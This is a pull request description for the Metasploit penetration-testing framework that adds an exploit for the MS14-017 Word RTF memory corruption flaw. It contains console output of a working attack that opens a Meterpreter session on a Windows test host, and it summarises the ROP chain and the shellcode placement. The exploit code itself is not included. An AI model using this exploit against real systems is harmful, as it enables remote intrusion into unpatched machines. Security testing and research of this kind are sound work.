rapid7/metasploit-framework — pull request #3204 by zeroSteiner (2014-04-08 18:54:09+00:00)
Title: Add MS14-017 Word RTF

This module exploits MS14-017 (patched today) which is a memory corruption vulnerability in RTF files triggered when listoverridecount is set to 25. This module is based off of the McAfee analysis and public malware sample.

Currently tested and functioning on Office 2010 SP2 Windows 7 SP1.

Sample output:
```
msf4-git (S:0 J:1) exploit(ms14_017_rtf) > rexploit
[*] Reloading module...

[+] msf.rtf stored at /home/steiner/.msf4/local/msf.rtf
msf4-git (S:0 J:1) exploit(ms14_017_rtf) >
[*] Sending stage (769536 bytes) to 192.168.90.138
[*] Meterpreter session 2 opened (192.168.90.1:4444 -> 192.168.90.138:49276) at 2014-04-08 14:34:04 -0400

msf4-git (S:1 J:1) exploit(ms14_017_rtf) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > getuid
Server username: WIN-82GTIDG995P\tester
meterpreter > sysinfo
Computer : WIN-82GTIDG995P
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter >
```

The exploit uses a ROP chain built from addresses in MSCOMCTL to call virtualalloc. Shellcode is copied to 0x40000000 and then executed starting at 0x40000040.